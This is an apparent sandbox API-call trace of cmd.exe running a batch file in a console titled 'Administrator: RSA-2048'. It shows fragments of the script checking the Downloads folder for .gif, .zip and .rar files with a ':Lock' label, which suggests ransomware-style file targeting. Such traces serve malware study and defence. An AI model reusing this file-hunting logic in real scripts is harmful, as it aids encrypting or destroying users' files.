_wcsicmp (_String1="cd", _String2="DEL") returned -1 [0039.957] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0039.957] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0039.957] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0039.957] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.958] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41ec64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.958] GetFullPathNameW (in: lpFileName="Downloads", nBufferLength=0x104, lpBuffer=0x41ec64, lpFilePart=0x41ec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x41ec60*="Downloads") returned 0x27 [0039.958] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads")) returned 0x11 [0039.958] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4e27b0 [0039.958] FindClose (in: hFindFile=0x4e27b0 | out: hFindFile=0x4e27b0) returned 1 [0039.958] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4e27b0 [0039.958] FindClose (in: hFindFile=0x4e27b0 | out: hFindFile=0x4e27b0) returned 1 [0039.959] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.959] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 0x4e27b0 [0039.959] FindClose (in: hFindFile=0x4e27b0 | out: hFindFile=0x4e27b0) returned 1 [0039.959] _wcsnicmp (_String1="DOWNLO~1", _String2="Downloads", _MaxCount=0x9) returned 29 [0039.959] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads")) returned 0x11 [0039.959] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads")) returned 1 [0039.959] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 1 [0039.959] GetProcessHeap () returned 0x4e0000 [0039.959] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6e38 | out: hHeap=0x4e0000) returned 1 [0039.959] GetEnvironmentStringsW () returned 0x4f2340* [0039.959] GetProcessHeap () returned 0x4e0000 [0039.959] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb48) returned 0x4f6868 [0039.959] FreeEnvironmentStringsW (penv=0x4f2340) returned 1 [0039.959] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 0x27 [0039.960] GetProcessHeap () returned 0x4e0000 [0039.960] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e08d0 | out: hHeap=0x4e0000) returned 1 [0039.960] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.960] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.960] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.960] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.960] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.960] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.961] SetConsoleInputExeNameW () returned 0x1 [0039.961] GetConsoleOutputCP () returned 0x1b5 [0039.961] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.961] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.961] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.961] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.961] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=1859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.961] GetProcessHeap () returned 0x4e0000 [0039.961] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2788 | out: hHeap=0x4e0000) returned 1 [0039.961] GetProcessHeap () returned 0x4e0000 [0039.961] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0039.961] GetProcessHeap () returned 0x4e0000 [0039.961] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.961] GetProcessHeap () returned 0x4e0000 [0039.961] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.962] GetProcessHeap () returned 0x4e0000 [0039.962] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.962] GetProcessHeap () returned 0x4e0000 [0039.962] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.962] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.962] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1eea, lpOverlapped=0x0) returned 1 [0039.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=1861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n Downloads\r\n.gif goto Ran\r\n") returned 2 [0039.962] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.962] GetFileType (hFile=0x74) returned 0x1 [0039.962] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.962] GetProcessHeap () returned 0x4e0000 [0039.962] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.962] GetProcessHeap () returned 0x4e0000 [0039.962] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.962] _tell (_FileHandle=3) returned 1861 [0039.963] _close (_FileHandle=3) returned 0 [0039.963] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.963] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.963] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.963] SetFilePointer (in: hFile=0x74, lDistanceToMove=1861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.963] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.963] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.963] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ee8, lpOverlapped=0x0) returned 1 [0039.963] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr=":Lock\r\nloads\r\n.gif goto Ran\r\n") returned 7 [0039.963] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.963] GetFileType (hFile=0x74) returned 0x1 [0039.963] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.964] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.964] GetProcessHeap () returned 0x4e0000 [0039.964] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.964] GetProcessHeap () returned 0x4e0000 [0039.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.964] _tell (_FileHandle=3) returned 1868 [0039.964] _close (_FileHandle=3) returned 0 [0039.964] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.964] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.964] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.964] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.964] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.964] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.965] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ee1, lpOverlapped=0x0) returned 1 [0039.965] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nock\r\nloads\r\n.gif goto Ran\r\n") returned 2 [0039.965] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.965] GetFileType (hFile=0x74) returned 0x1 [0039.965] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.965] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.965] GetProcessHeap () returned 0x4e0000 [0039.965] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.965] GetProcessHeap () returned 0x4e0000 [0039.965] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.965] _tell (_FileHandle=3) returned 1870 [0039.965] _close (_FileHandle=3) returned 0 [0039.965] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.965] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.965] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.966] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.966] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1edf, lpOverlapped=0x0) returned 1 [0039.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.966] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\nan\r\n") returned 25 [0039.966] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.966] GetFileType (hFile=0x74) returned 0x1 [0039.966] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.966] GetProcessHeap () returned 0x4e0000 [0039.966] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.966] GetProcessHeap () returned 0x4e0000 [0039.966] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.967] _tell (_FileHandle=3) returned 1895 [0039.967] _close (_FileHandle=3) returned 0 [0039.968] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2d [0039.968] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.968] GetLastError () returned 0x2 [0039.968] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.968] GetLastError () returned 0x6 [0039.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.968] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.968] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.969] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.969] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.969] SetConsoleInputExeNameW () returned 0x1 [0039.969] GetConsoleOutputCP () returned 0x1b5 [0039.969] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.969] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.969] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.969] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.970] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.970] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.970] GetProcessHeap () returned 0x4e0000 [0039.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0039.970] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.970] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.971] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec6, lpOverlapped=0x0) returned 1 [0039.971] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.971] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\nan\r\n") returned 2 [0039.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.971] GetFileType (hFile=0x74) returned 0x1 [0039.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.971] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.971] GetProcessHeap () returned 0x4e0000 [0039.971] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.971] GetProcessHeap () returned 0x4e0000 [0039.971] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.971] _tell (_FileHandle=3) returned 1897 [0039.971] _close (_FileHandle=3) returned 0 [0039.971] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.971] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.971] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.972] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.972] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.972] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec4, lpOverlapped=0x0) returned 1 [0039.972] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.972] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\nan\r\n") returned 25 [0039.972] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.972] GetFileType (hFile=0x74) returned 0x1 [0039.972] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.972] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.972] GetProcessHeap () returned 0x4e0000 [0039.972] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.972] GetProcessHeap () returned 0x4e0000 [0039.972] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.973] _tell (_FileHandle=3) returned 1922 [0039.974] _close (_FileHandle=3) returned 0 [0039.974] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2d [0039.974] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.974] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.974] GetLastError () returned 0x2 [0039.974] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.974] GetLastError () returned 0x6 [0039.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.974] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.974] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.975] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.975] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.975] SetConsoleInputExeNameW () returned 0x1 [0039.975] GetConsoleOutputCP () returned 0x1b5 [0039.975] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.975] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.975] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.976] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.976] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.976] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree 